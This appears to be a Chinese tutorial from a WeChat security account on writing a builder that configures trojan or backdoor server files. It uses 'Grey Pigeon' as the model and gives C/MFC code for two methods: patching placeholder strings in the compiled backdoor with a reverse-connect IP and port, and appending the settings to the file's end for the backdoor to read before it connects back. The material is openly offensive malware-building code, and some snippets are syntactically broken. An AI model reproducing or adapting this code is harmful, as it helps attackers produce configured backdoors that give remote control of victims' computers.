一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
现在使用木马或后门程序时,很多都需要客户端配置生成木马或后门的服务端,如“灰鸽子”就有这项功能,其服务端配置窗口如图1所示。在其中输入相应的配置信息,如反向连接IP、自启动方式、代理服务等,单击“生成服务器”按钮,即可成功配置服务器程序。
图1 灰鸽子“服务器配置”窗口
这样不仅可以生成服务端,还可以满足不同用户的需要。如果在编程过程中,要想改变这些信息,则需要修改源代码,重新编译才可以实现。下面介绍如何通过编程来配置木马或后门程序。
一、数据替换法
数据替换时使用新的数据来覆盖原来的数据,这里以零管道反向连接后门为例。例如可使用“sin.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");”语句来设置反向连接的目标IP地址。如果想连接IP地址为192.168.0.1,可将源文件中的127.0.0.1替换成192.168.0.1,则后门反向连接的IP地址就变成192.168.0.1。
这样直接替换容易出现错误,因为127.0.0.1的长度是9个字节,而192.168.0.1占用11字节,这样用192.168.0.1直接替换127.0.0.1,就会覆盖"127.0.0.1"后面的两个字节的数据。如果这个字节的数据在程序中非常重要,则被替换后的程序就有可能出现错误,甚至崩溃。所以直接替换是一种不安全的做法。如果将上述代码修改为下列代码:
Char Ip[256]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
sin.sin_addr.S_un.S_addr=inet_addr(Ip);
上面IP变量包含了32字节的A字符,而该变量又是作为反向连接的目标IP,所以当源码编译后,32字节长度的A就会存在于EXE文件中。如果现在定义一个变量,如char mIp[256]="192.168.0.1",并且使用mIp的数据替换EXE中的所有A,则当被替换成功的EXE文件运行后,Ip变量的数据就变成192.168.0.1。
这是因为在Windows中字符串是以0x00结尾的,当写入mIp时,在192.168.0.1后面还要写入一个字节0x00,所以程序运行后Ip变量的数据就在192.168.0.1处被截断,此时Ip变量所表示的数据就是192.168.0.1,这样,就避免了覆盖其他数据的问题。
字节是计算机信息技术用于计量存储容量和传输容量的一种计量单位,1个字节等于8位二进制数。在ASCII码中,一个英文字母(不分大小写)占一个字节的空间,一个中文汉字占两个字节的空间。英文标点占一个字节,中文标点占两个字节。如英文句号“.”占1个字节的大小,中文句号“。”占2个字节的大小。
在反向连接后门中,还要配置反向连接的端口,其端口在源代码中的定义如下:
Sin_sin_port=htons(1500);
从上面代码中不难看出:反向连接后门的端口号是以整数形式存在的。根据前面介绍的替换原理,只需要把EXE文件中整型数据替换成其他端口即可。但在EXE文件中可能查询到多个数值为1500的数据,替换哪个1500就成为问题。
此时可以将端口的代码定义为如下格式:
Char Port[256]="BBBBBBBBBBBBBBBBBB";
Sin_sin_port=htons(atoi(Port));
上面的代码先将端口变量定义为一段字符串B,把编译后的EXE程序中的这段B替换成端口号的字符串(如1433),当替换成功的EXE程序运行后,atoi()函数会把字符串1433转换成整型1433,这样就不存在上面的问题了。要对后门进行配置,一般要做的工作有3项,即利用MFC生成窗口程序、生成一个后门服务端程序和修改反向连接端口。
1、生成窗口程序
由于生成服务器端程序一般需要在一个窗口中进行相应的设置,单击“生成”按钮才可以生成。所以在设置程序之前需要在Microsoft Visual VC++窗口中利用MFC创建一个窗口程序。具体的操作步骤如下。
步骤1:在Microsoft Visual VC++窗口中选择“文件”→“新建”菜单项,即可打开“新建”对话框,如图2所示。在“工程”列表中选择MFC AppWizard[exe]选项后,在“工程名称”文本框中输入新建工程的名称。
图2 “新建”对话框
步骤2:单击“确定”按钮,即可打开“MFC应用程序向导–步骤1”对话框,如图3所示。在“您要创建的应用程序类型是”栏目中选择“基本对话框”单选项,并在“您的资源使用的语言是”下拉列表中选择“中文[中国](APPWZCHS.DLL)”选项。
图3 “MFC应用程序向导–步骤1”对话框
步骤3:单击“完成”按钮,即可打开“新建工程信息”对话框,如图4所示。在其中可以看到新创建工程的详细信息。由于这里只是创建一个基本的MFC工程,在设置完创建应用程序类型,可以直接单击“完成”按钮即可完成MFC工程的创建。
图4 “新建工程信息”对话框
步骤4:单击“确定”按钮,即可在Microsoft Visual VC++窗口中打开刚创建的MFC工程,如图5所示。
图5 打开刚创建的工程
步骤5:先将其中“确定”按钮和“取消”按钮删除,再画上两个静态文本、两个文本框和一个按钮,完成后的效果如图6所示。
图6 设计完毕的界面
步骤6:在Microsoft Visual VC++窗口中选择“查看”→“建立类向导”菜单项,即可打开MFC ClassWizard对话框,如图7所示。
图7 MFC ClassWizard对话框
步骤7:在Member Variables选项卡中选择IDC_EDlT1选项,单击Add Variable按钮,即可打开Add Member Variable对话框,如图8所示。在Member variable name文本框中输入“m_Ip”,在Variable type下拉列表中选择CString选项。
图8 Add Member Variable对话框
步骤8:单击OK按钮,即可在MFC ClassWizard对话框中看到刚添加的属性。采用同样的方法给IDC_EDlT2选项添加m_Port属性,如图9所示。
图9 添加的m_Ip和m_Port属性
步骤9:切换到Message Maps选项卡,在Object IDs列表中选择IDC_BUTTON1选项,如图10所示。在右边Messages列表中选择BN_CLICKED选项,单击Add Function按钮,即可打开Add Member Function对话框,如图11所示。
图10 Message Maps选项卡
图11 Add Member Function对话框
步骤10:在Member Function name文本框中输入要添加功能的名称,单击OK按钮,即可在MFC ClassWizard对话框中Member functions(成员功能)列表中看到添加的功能,如图12所示。
图12 查看添加的功能
步骤11:单击Edit Code(编辑代码)按钮即可为单击事件添加代码,如图13所示。该事件要完成生成后门服务器端程序和修改反向连接端口、IP两项功能。
图13 为事件添加代码
2、配置服务器程序和修改反向连接端口、Ip
生成后门服务端程序可采用资源法和附加文件法,这里采用资源法,其实现流程如图14所示。
图14 生成后门服务端程序具体流程
把资源写入另一块申请的大小相同的内存空间中,通过遍历把该内存数据、修改配置信息写入,最后把该内存中的数据保存为文件即可。由于资源所在的内存地址是不可写的,所以要将其写到另一个内存空间中。在这里需要把后门程序作为资源导入工程中。
具体的操作步骤如下。
步骤1:在Microsoft Visual VC++窗口中打开其Resource选项卡,即可在其中看到包含的native resources资源,如图15所示。
图15 打开Resource选项卡
步骤2:右击native resource选项,在快捷菜单中选择“引入”选项,即可打开“引入资源”对话框,如图16所示。在“文件类型”下拉列表中选择“所有文件”选项,再选择要引入的后门文件。
图16 “引入资源”对话框
步骤3:单击“引入”按钮,即可打开“自定义资源类型”对话框,如图17所示。选中下面的“EXE”选项后,即可将其添加到“资源类型”文本框中。
图17 “自定义资源类型”对话框
步骤4:单击“确定”按钮,即可在Microsoft Visual VC++窗口中的native resources选项下多出一个“EXE”选项,如图18所示。
图18 将后门程序引入工程中
到这里已经成功把后门以资源的形式引入工程中,其中EXE代表资源类型,而IDR_EXE1是资源的ID编号。下面编写“生成”按钮单击事件的代码,实现代码如下:
void CNativeDlg::OnShengCheng()
{
UpdateData(TRUE); //获得文本框的内容
char *hmem;
DWORD size2;
HRSRC hRes = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");//查找资源
HGLOBAL hgRes = LoadResource(NULL, hRes); //导入资源
void *pRes = LockResource(hgRes); //锁定资源
DWORD size = SizeofResource(NULL, hRes); //得到资源大小
hmem=(char *)malloc(size+1); //申请内存空间
WriteProcessMemory(GetCurrentProcess(),hmem,pRes,size,&size2); //把资源文件写入新申请的内存空间
char Port[256]="AAAAAAAAAAAAAAAAAA";
char Ip[256]="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
if(!FindMem(hmem,size,Port,m_Port.GetBuffer(m_Port.GetLength())))//遍历内存空间替换配置信息
{
::MessageBox(NULL,"写入IP错误","错误",NULL);
return;
}
if(!FindMem(hmem,size,Ip,m_Ip.GetBuffer(m_Ip.GetLength())))//遍历内存空间替换配置信息
{
::MessageBox(NULL,"写入IP错误","错误",NULL);
return;
}
HANDLE hFile = CreateFile("door.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); //创建文件
DWORD dwWrite;
WriteFile(hFile, (void*)hmem, size, &dwWrite, 0); //把内存中的数据写入文件
CloseHandle(hFile); //关闭文件句柄
GlobalFree(hgRes); //释放资源句柄
::MessageBox(NULL,"恭喜你,生成成功","生成成功",0);}
其中FindMem函数是一个自定义函数,其作用是遍历内存,替换配置信息。该函数的具体调用方式如下:
BOOL FindMem(char *hmem,int len,char *from,char *to) //hmen是要查找的起始地址,len是要查找的内存大小,from是要查找的字符指针,to是要修改成的内容
{
char charf[100],chart[100],*charg;
BOOL result=false;
strcpy(charf,from);
strcpy(chart,to);
for(int i=0;i<len;i++)
{
charg=hmem+i;
if(strcmp(charg,charf)==0) //内存中的数据和要查找的数据比较
{
if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart,strlen
(chart)+1,NULL)) //写入配置信息
result=true;
break;
}
}
return result;
}
在完成配置程序后就可以运行设置好的后门程序,其运行界面如图19所示。在其中输入要配置的信息之后,单击“生成”按钮,即可生成成功。
图19 设置的后门程序运行界面
二、附加信息法
附加信息法也是实现黑客程序配置功能的一种常用的方法,与附加文件法非常相似。附加文件法是把要生成的文件写入配置生成程序的文件尾部,而附加信息法是把黑客程序的配置信息(反向连接IP和端口)写到后门服务端文件的尾部,后门服务端运行时就可以通过读取自身文件尾部的数据,来获得用户提供的配置信息。
所以配置程序要完成的工作就是生成后门服务端文件,并在文件尾部写入配置信息;而后门服务端的主要工作是读取文件尾部的配置信息,并根据配置信息反向连接。为了便于读取和写入配置信息,需要定义一个结构来存放后门程序的配置信息,该结构的具体格式如下:
typedef struct _Info
{
char ip[100];//存放反向连接IP
int port;//存放反向连接端口
}Info;
下面介绍如何使用附加信息法对黑客程序进行配置。先编写后门服务器端程序,其作用是读取自身文件尾部的配置信息,其实现代码如下:
GetModuleFileName(NULL,szName,256); //得到自身进程文件名
HANDLE hFile=CreateFile(szName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); //以只读方式打开自身文件
if(hFile==INVALID_HANDLE_VALUE)
{
return 0;
}
if(SetFilePointer(hFile,-sizeof(Info),NULL,FILE_END)==-1) //定位到配置信息处
{
return 0;
}
Info mInfo={0};
DWORD dwRead;
if(!ReadFile(hFile,&mInfo,sizeof(Info),&dwRead,NULL)) //读取配置信息
{
return 0;
}
CloseHandle(hFile); //关闭文件句柄
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(mInfo.port); //使用配置信息中的端口
sin.sin_addr.S_un.S_addr = inet_addr(mInfo.ip); //使用配置信息中的IP
if(connect(s, (sockaddr*)&sin, sizeof(sin)) == -1) //发起连接
{
printf( connect error \n);
return 0;
}
if (send(s,wMessage,strlen(wMessage),0)==SOCKET_ERROR)
{
printf(Send message error \n);
return 0;
}
在编写好后门服务端程序后,就可以编写后门的配置程序,采用前面介绍的方法创建一个MFC工程,并设计其界面布局,把修改好的后门服务端程序以资源的形式导入MFC工程中。下面只需为“生成”按钮添加相应的功能代码即可。添加的代码如下:
void CNativeDlg::OnShengCheng()
{
UpdateData(TRUE); //获得文本框内容
ResourceToFile(door.exe,MAKEINTRESOURCE(IDR_EXE1),EXE);//把资源导出成文件
char Path[256];
Info mInfo={0};
mInfo.port=atoi(m_Port.GetBuffer(m_Port.GetLength()));//得到文本框中的端口
strcpy(mInfo.ip,m_Ip.GetBuffer(m_Ip.GetLength()));//得到文本框中的IP
HANDLE hFile=CreateFile(door.exe,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); //以只写方式打开后门服务端文件
if(hFile==INVALID_HANDLE_VALUE)
{
::MessageBox(NULL,打开文件出错","错误",0);
return;
}
if(SetFilePointer(hFile,0,NULL,FILE_END)==-1) //移动文件指针到文件末尾
{
::MessageBox(NULL,移动文件指针出错","错误",0);
return;
}
DWORD dwWrite;
if(!::WriteFile(hFile,&mInfo,sizeof(Info),&dwWrite,NULL)) //写入配置信息
{
::MessageBox(NULL,写入文件出错","错误",0);
return ;
}
CloseHandle(hFile); //关闭文件句柄
::MessageBox(NULL,恭喜你,生成文件成功","生成文件成功",0);
}
不难看出,数据替换法与附加信息法两种方法各有其优缺点。数据替换法一般用于要修改的配置信息比较少的情况;而附加信息法一般用于配置信息比较多的情况。
微信公众号:计算机与网络安全
ID:Computer-network